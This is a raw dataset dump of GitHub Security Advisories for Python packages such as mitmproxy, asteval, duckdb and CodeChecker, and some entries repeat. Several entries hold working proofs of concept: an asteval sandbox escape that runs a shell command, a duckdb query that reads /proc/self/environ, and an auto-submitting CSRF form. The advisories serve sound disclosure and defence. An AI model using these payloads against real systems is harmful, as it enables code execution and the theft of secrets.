deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-wg33-5h85-7q5p
Package: mitmproxy (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-288: Authentication Bypass Using an Alternate Path or Channel, CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
Vulnerable versions: < 11.1.2
Patched in: 11.1.2

Summary: Mitmweb API Authentication Bypass Using Proxy Server

Details:
### Impact
In mitmweb 11.1.0 and below, a malicious client can use mitmweb's proxy server (bound to `*:8080` by default) to access mitmweb's internal API (bound to `127.0.0.1:8081` by default). In other words, while the client cannot access the API directly (good), they can access the API through the proxy (bad). An attacker may be able to escalate this [SSRF](https://en.wikipedia.org/wiki/Server-side_request_forgery)-style access to remote code execution.

The mitmproxy and mitmdump tools are unaffected. Only mitmweb is affected. The `block_global` option, which is enabled by default, blocks connections originating from publicly-routable IP addresses in the proxy. The attacker needs to be in the same local network.

### Patches

The vulnerability has been fixed in mitmproxy 11.1.2 and above.

### Acknowledgements

We thank Stefan Grönke (@gronke) for reporting this vulnerability as part of a security audit by [Radically Open Security](https://www.radicallyopensecurity.com/). This audit was supported by the [NGI0 Entrust fund](https://nlnet.nl/entrust/) established by [NLnet](https://nlnet.nl/).

### Timeline

- **2025-01-14**: Received initial report. 
- **2025-01-14**: Verified report and confirmed receipt.
- **2025-01-19**: Shared patch with researcher.
- **2025-02-04**: Received final confirmation that patch is working.
- **2025-02-05**: Published patched release and advisory.
GitHub Security Advisory: GHSA-8r96-8889-qg2x
Package: httpie (PIP)
Severity: HIGH (CVSS 7.4)
CWE: CWE-295: Improper Certificate Validation, CWE-599: Missing Validation of OpenSSL Certificate
Vulnerable versions: <= 3.2.2
Patched in: 3.2.3

Summary: HTTPie allows attackers to eavesdrop on communications between the host and server via a man-in-the-middle attack

Details:
Missing SSL certificate validation in HTTPie v3.2.2 allows attackers to eavesdrop on communications between the host and server via a man-in-the-middle attack.
GitHub Security Advisory: GHSA-79f6-p65j-3m2m
Package: mobsf (PIP)
Severity: HIGH (CVSS 6.5)
CWE: CWE-269: Improper Privilege Management
Vulnerable versions: <= 4.3.0
Patched in: 4.3.1

Summary: MobSF Local Privilege Escalation

Details:
**Product:** Mobile Security Framework (MobSF)
**Version:** 4.3.0
**CWE-ID:** CWE-269: Improper Privilege Management
**CVSS vector v.4.0:** 7.1 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N)
**CVSS vector v.3.1:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
**Description:** MobSF has a functionality of dividing users by roles. This functionality is not efficient, because any registered user can get API Token with all privileges.
**Impact:** Information Disclosure 
**Vulnerable component:** Code output component (`/source_code`)
**Exploitation conditions:** authorized user
**Mitigation:** Remove token output in the returned js-script
**Researcher:** Egor Filatov (Positive Technologies)

## Research 

Researcher discovered zero-day vulnerability «Local Privilege Escalation» in Mobile Security Framework (MobSF).
To reproduce the vulnerability follow the steps below.

•	 A user with minimal privileges is required, so the administrator must create a user account

<img width="215" alt="fig1" src="https://github.com/user-attachments/assets/43e02a50-bdd9-48d9-9194-73946fcc56d9" />

*Figure 1. Registration*

•	Go to static analysis of any application

<img width="1207" alt="fig2" src="https://github.com/user-attachments/assets/9ed141a7-a667-4a96-81fd-d[PII_REDACTED]4" />
 
*Figure 2. Static analysis*

•	Go to the code review of the selected application and get a token with all privileges in the response

<img width="1400" alt="fig3" src="https://github.com/user-attachments/assets/bf8b704b-9067-4861-a7d3-05ec119d9a3f" />
 
*Figure 3. Token receiving*

•	This token can be used to retrieve dynamic analysis information that has not been accessed before.

![fig4](https://github.com/user-attachments/assets/fda8436b-de67-45b1-bb21-6cfbc9976f79)
 
*Figure 4. No access demonstration*

<img width="1412" alt="fig5" src="https://github.com/user-attachments/assets/dc8f639f-36b0-47d3-807d-58ae551fcbfc" />
 
*Figure 5. Token usage*

As a result, the user is able to escalate the privileges.


_______________________

### Please, assign all credits to: Egor Filatov (Positive Technologies)
GitHub Security Advisory: GHSA-7pq5-qcp6-mcww
Package: ckan (PIP)
Severity: HIGH (CVSS 7.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 2.11.0, < 2.11.2
Patched in: 2.11.2

Summary: CKAN has an XSS vector in user uploaded images in group/org and user profiles

Details:
### Impact
Using a specially crafted file, a user could potentially upload a file containing code that when executed could send arbitrary requests to the server. If that file was opened by an administrator, it could lead to escalation of privileges of the original submitter or other malicious actions. Users must have been registered to the site to exploit this vulnerability.

### Patches
This vulnerability has been fixed in CKAN 2.10.7 and 2.11.2

### Workarounds
On versions prior to CKAN 2.10.7 and 2.11.2, site maintainers can restrict the file types supported for uploading using the [ckan.upload.user.mimetypes](https://docs.ckan.org/en/latest/maintaining/configuration.html#ckan-upload-user-mimetypes) / [ckan.upload.user.types](https://docs.ckan.org/en/latest/maintaining/configuration.html#ckan-upload-user-types) and [ckan.upload.group.mimetypes](https://docs.ckan.org/en/latest/maintaining/configuration.html#ckan-upload-group-mimetypes) / [ckan.upload.group.types](https://docs.ckan.org/en/latest/maintaining/configuration.html#ckan-upload-group-types) config options.
To entirely disable file uploads you can use:

```ini
ckan.upload.user.types = none
```
GitHub Security Advisory: GHSA-7pq5-qcp6-mcww
Package: ckan (PIP)
Severity: HIGH (CVSS 7.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 2.10.7
Patched in: 2.10.7

Summary: CKAN has an XSS vector in user uploaded images in group/org and user profiles

Details:
### Impact
Using a specially crafted file, a user could potentially upload a file containing code that when executed could send arbitrary requests to the server. If that file was opened by an administrator, it could lead to escalation of privileges of the original submitter or other malicious actions. Users must have been registered to the site to exploit this vulnerability.

### Patches
This vulnerability has been fixed in CKAN 2.10.7 and 2.11.2

### Workarounds
On versions prior to CKAN 2.10.7 and 2.11.2, site maintainers can restrict the file types supported for uploading using the [ckan.upload.user.mimetypes](https://docs.ckan.org/en/latest/maintaining/configuration.html#ckan-upload-user-mimetypes) / [ckan.upload.user.types](https://docs.ckan.org/en/latest/maintaining/configuration.html#ckan-upload-user-types) and [ckan.upload.group.mimetypes](https://docs.ckan.org/en/latest/maintaining/configuration.html#ckan-upload-group-mimetypes) / [ckan.upload.group.types](https://docs.ckan.org/en/latest/maintaining/configuration.html#ckan-upload-group-types) config options.
To entirely disable file uploads you can use:

```ini
ckan.upload.user.types = none
```
GitHub Security Advisory: GHSA-8h93-28hg-fj84
Package: composio-julep (PIP)
Severity: MODERATE (CVSS 6.4)
CWE: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Vulnerable versions: >= 0.5.40, < 0.6.9
Patched in: 0.6.9

Summary: Composio Command Execution vulnerability

Details:
composio >=0.5.40 is vulnerable to Command Execution in composio_openai, composio_claude, and composio_julep via the handle_tool_calls function.
GitHub Security Advisory: GHSA-8h93-28hg-fj84
Package: composio-openai (PIP)
Severity: MODERATE (CVSS 6.4)
CWE: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Vulnerable versions: >= 0.5.40, < 0.6.9
Patched in: 0.6.9

Summary: Composio Command Execution vulnerability

Details:
composio >=0.5.40 is vulnerable to Command Execution in composio_openai, composio_claude, and composio_julep via the handle_tool_calls function.
GitHub Security Advisory: GHSA-8h93-28hg-fj84
Package: composio-claude (PIP)
Severity: MODERATE (CVSS 6.4)
CWE: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Vulnerable versions: >= 0.5.40, < 0.6.9
Patched in: 0.6.9

Summary: Composio Command Execution vulnerability

Details:
composio >=0.5.40 is vulnerable to Command Execution in composio_openai, composio_claude, and composio_julep via the handle_tool_calls function.
GitHub Security Advisory: GHSA-2vpq-fh52-j3wv
Package: snowflake-connector-python (PIP)
Severity: HIGH (CVSS 7.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 2.2.5, <= 3.13.0
Patched in: 3.13.1

Summary: snowflake-connector-python vulnerable to SQL Injection in write_pandas

Details:
### Issue
Snowflake discovered and remediated a vulnerability in the Snowflake Connector for Python. A function from the snowflake.connector.pandas_tools module is vulnerable to SQL injection.

This vulnerability affects versions 2.2.5 through 3.13.0. Snowflake fixed the issue in version 3.13.1.

### Vulnerability Details
A function from the snowflake.connector.pandas_tools module is not sanitizing all of its arguments, and queries using them are not parametrized. An attacker controlling these arguments could achieve SQL injection by passing crafted input. Any SQL executed that way by an attacker would still run in the context of the current session.

### Solution
Snowflake released version 3.13.1 of the Snowflake Connector for Python, which fixes this issue. We recommend users upgrade to version 3.13.1.

### Additional Information
If you discover a security vulnerability in one of our products or websites, please report the issue to HackerOne. For more information, please see our [Vulnerability Disclosure Policy](https://hackerone.com/snowflake?type=team).
GitHub Security Advisory: GHSA-m4f6-vcj4-w5mx
Package: snowflake-connector-python (PIP)
Severity: MODERATE (CVSS 6.7)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: >= 2.7.12, <= 3.13.0
Patched in: 3.13.1

Summary: snowflake-connector-python vulnerable to insecure deserialization of the OCSP response cache

Details:
### Issue
Snowflake discovered and remediated a vulnerability in the Snowflake Connector for Python. The OCSP response cache uses pickle as the serialization format, potentially leading to local privilege escalation.

This vulnerability affects versions 2.7.12 through 3.13.0. Snowflake fixed the issue in version 3.13.1.

### Vulnerability Details
The OCSP response cache is saved locally on the machine running the Connector using the pickle serialization format. This can potentially lead to local privilege escalation if an attacker has write access to the OCSP response cache file.

### Solution
Snowflake released version 3.13.1 of the Snowflake Connector for Python, which fixes this issue. We recommend users upgrade to version 3.13.1.

### Additional Information
If you discover a security vulnerability in one of our products or websites, please report the issue to HackerOne. For more information, please see our [Vulnerability Disclosure Policy](https://hackerone.com/snowflake?type=team).
GitHub Security Advisory: GHSA-r2x6-cjg7-8r43
Package: snowflake-connector-python (PIP)
Severity: MODERATE (CVSS 4.4)
CWE: CWE-276: Incorrect Default Permissions
Vulnerable versions: >= 2.3.7, <= 3.13.0
Patched in: 3.13.1

Summary: snowflake-connector-python vulnerable to insecure cache files permissions

Details:
### Issue
Snowflake discovered and remediated a vulnerability in the Snowflake Connector for Python. On Linux systems, when temporary credential caching is enabled, the Snowflake Connector for Python will cache temporary credentials locally in a world-readable file.

This vulnerability affects versions 2.3.7 through 3.13.0. Snowflake fixed the issue in version 3.13.1.

### Vulnerability Details
On Linux, when either EXTERNALBROWSER or USERNAME_PASSWORD_MFA authentication methods are used with temporary credential caching enabled, the Snowflake Connector for Python will cache the temporary credentials in a local file. In the vulnerable versions of the Driver, this file is created with world-readable permissions.

### Solution
Snowflake released version 3.13.1 of the Snowflake Connector for Python, which fixes this issue. We recommend users upgrade to version 3.13.1.

### Additional Information
If you discover a security vulnerability in one of our products or websites, please report the issue to HackerOne. For more information, please see our [Vulnerability Disclosure Policy](https://hackerone.com/snowflake?type=team).
GitHub Security Advisory: GHSA-6rq9-53c3-f7vj
Package: onnx (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 1.16.2
Patched in: 1.16.2

Summary: onnx allows Arbitrary File Overwrite in download_model_with_test_data

Details:
A vulnerability in the `download_model_with_test_data` function of the onnx/onnx framework, versions before 1.16.2, allow for arbitrary file overwrite due to inadequate prevention of path traversal attacks in malicious tar files. This vulnerability enables attackers to overwrite any file on the system, potentially leading to remote code execution, deletion of system, personal, or application files, thus impacting the integrity and availability of the system. The issue arises from the function's handling of tar file extraction without performing security checks on the paths within the tar file, as demonstrated by the ability to overwrite the `/home/kali/.ssh/authorized_keys` file by specifying an absolute path in the malicious tar file.
GitHub Security Advisory: GHSA-rh4j-5rhw-hr54
Package: vllm (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 0.7.0
Patched in: 0.7.0

Summary: vllm: Malicious model to RCE by torch.load in hf_model_weights_iterator

Details:
### Description
The vllm/model_executor/weight_utils.py implements hf_model_weights_iterator to load the model checkpoint, which is downloaded from huggingface. It use torch.load function and weights_only parameter is default value False. There is a security warning on https://pytorch.org/docs/stable/generated/torch.load.html, when torch.load load a malicious pickle data it will execute arbitrary code during unpickling.

### Impact
This vulnerability can be exploited to execute arbitrary codes and OS commands in the victim machine who fetch the pretrained repo remotely.

Note that most models now use the safetensors format, which is not vulnerable to this issue.

### References
* https://pytorch.org/docs/stable/generated/torch.load.html
* Fix: https://github.com/vllm-project/vllm/pull/12366
GitHub Security Advisory: GHSA-gvvw-rr8m-fj76
Package: uniapi (PIP)
Severity: HIGH (CVSS 0.0)
Vulnerable versions: = 1.0.7
Patched in: unpatched

Summary: uniapi version 1.0.7 contained an information harvesting script.

Details:
uniapi version 1.0.7 introduces code that would execute on import of the module and download a script from a remote URL, and would then execute the downloaded script in a thread. The downloaded script would harvest system information and `POST` the information to another remote URL. This code was found in the PyPI release artifacts and was not present in the public GitHub repository.
GitHub Security Advisory: GHSA-3wwr-3g9f-9gc7
Package: asteval (PIP)
Severity: HIGH (CVSS 8.4)
CWE: CWE-134: Use of Externally-Controlled Format String, CWE-749: Exposed Dangerous Method or Function
Vulnerable versions: <= 1.0.5
Patched in: 1.0.6

Summary: ASTEVAL Allows Maliciously Crafted Format Strings to Lead to Sandbox Escape

Details:
### Summary
If an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library.

### Details
The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the [`on_formattedvalue`](https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507) value uses the [dangerous format method of the str class](https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/), as shown in the vulnerable code snippet below:

```py
    def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')
        "formatting used in f-strings"
        val = self.run(node.value)
        fstring_converters = {115: str, 114: repr, 97: ascii}
        if node.conversion in fstring_converters:
            val = fstring_converters[node.conversion](val)
        fmt = '{__fstring__}'
        if node.format_spec is not None:
            fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'
        return fmt.format(__fstring__=val)
```

The code above allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties.

### PoC
The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:

```py
from asteval import Interpreter
aeval = Interpreter()
code = """
# def lender():
#     ga
    
def pwn():
    try:
        f"{dict.mro()[1]:'\\x7B__fstring__.__getattribute__.s\\x7D'}"
    except Exception as ga:
        ga = ga.obj
        sub = ga(dict.mro()[1],"__subclasses__")()
        importer = None
        for i in sub:
            if "BuiltinImporter" in str(i):
                importer = i.load_module
                break
        os = importer("os")
        os.system("whoami")

# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below
# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works
        
pwn()
"""
aeval(code)

```
GitHub Security Advisory: GHSA-gmj9-h825-chq2
Package: RestrictedPython (PIP)
Severity: HIGH (CVSS 7.9)
CWE: CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')
Vulnerable versions: >= 6.0, < 8.0
Patched in: 8.0

Summary: try/except* clauses could allow bypass RestrictedPython via type confusion bug in the CPython interpreter

Details:
### Impact
Via a type confusion bug in the CPython interpreter when using `try/except*` RestrictedPython could be bypassed.

We believe this should be fixed upstream in Python itself until that we remove support for `try/except*` from RestrictedPython.
(It has been fixed for some Python versions.)

### Patches
Patched in version 8.0 by removing support for `try/except*` clauses

### Workarounds
There is no workaround.

### References
none
GitHub Security Advisory: GHSA-w2gf-jxc9-pf2q
Package: duckdb (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 1.0.0, < 1.1.0
Patched in: 1.1.0

Summary: sniff_csv provides filesystem access even when enable_external_access is disabled in duckdb

Details:
### Summary
Content in filesystem is accessible for reading using `sniff_csv`, even with `enable_external_access=false`. 

### Details
During a pentest, a security researcher was able to access environment variable data and other system data by using the `sniff_csv` function, even though we set `enable_external_access` to false. 

### PoC
```SQL
SET enable_external_access=false;
SET lock_configuration=true;

SELECT Columns FROM sniff_csv('/proc/self/environ');
```

### Impact
Provides an attacker with access to filesystem even when access is expected to be disabled and other similar functions do NOT provide access. 

For example `select * from read_csv('/proc/self/environ')` fails with a permission error. 

There seems to be two vectors to this vulnerability: 
1. Access to files that should otherwise not be allowed. (We expect `Permission Error: Scanning CSV files is disabled through configuration` and not to provide any access to the file or even acknowledge that it exists). 
2. The content from a (non-csv?) file can be read (e.g. `/etc/hosts`, `proc/self/environ`, etc) even though that doesn't seem to be the intent of the sniff_csv function (my understanding is it's intending to provide information about the shape of the data, but not provide the data itself). 

### Workaround
It is possible to work around the issue by disabling the local file system using the `disabled_filesystems` setting:
```SQL
SET disabled_filesystems='LocalFileSystem';
SET lock_configuration=true;

SELECT Columns FROM sniff_csv('/proc/self/environ');
```

will result in `Permission Error: File system LocalFileSystem has been disabled by configuration`.

### Fix
A fix has been merged into the `main` branch (https://github.com/duckdb/duckdb/pull/13133), and will be released with the next DuckDB release.
GitHub Security Advisory: GHSA-f8c8-4pm7-w885
Package: codechecker (PIP)
Severity: HIGH (CVSS 8.2)
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Vulnerable versions: < 6.24.5
Patched in: 6.24.5

Summary: Cross-Site Request Forgery in CodeChecker API

Details:
### Summary
Cross-site request forgery allows an unauthenticated attacker to hijack the authentication of a logged in user, and use the web API with the same permissions.

### Details
Security attributes like HttpOnly and SameSite are missing from the session cookie, allowing its use from XHR requests and form submissions.
The CodeChecker API endpoints only require the session cookie, they do not require a CSRF token, and missing HTTP headers allow the form submission to succeed (but not XHR). This means that the attacker needs to know the ID of products to edit or delete them, but it does not need knowledge to create new products with the SQLite backend.

### PoC
With a superuser logged into CodeChecker.

```html
<html><body>
    <form action="https://codechecker.example.com/v6.58/Products" method="POST" enctype="text/plain">
        <input type="text" name='[1,"getProducts",1,1,{}]' value=''>
    </form>
    <script>document.forms[0].submit()</script>
</body></html>
```
Or the same form attack on any of the applicable endpoints.

### Impact
The vulnerability allows an attacker to make requests to CodeChecker as the currently logged in user, including but not limited to adding, removing or editing products. The attacker needs to know the ID of the available products to modify or delete them. The attacker cannot directly exfiltrate data from CodeChecker, due to being limited to form-based CSRF.
GitHub Security Advisory: GHSA-g5vp-j278-8pjh
Package: torchgeo (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: >= 0, < 0.6.1
Patched in: 0.6.1

Summary: Duplicate Advisory: TorchGeo Remote Code Execution Vulnerability

Details:
## Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-ghq9-vc6f-8qjf. This link is maintained to preserve external references.

## Original Description
TorchGeo Remote Code Execution Vulnerability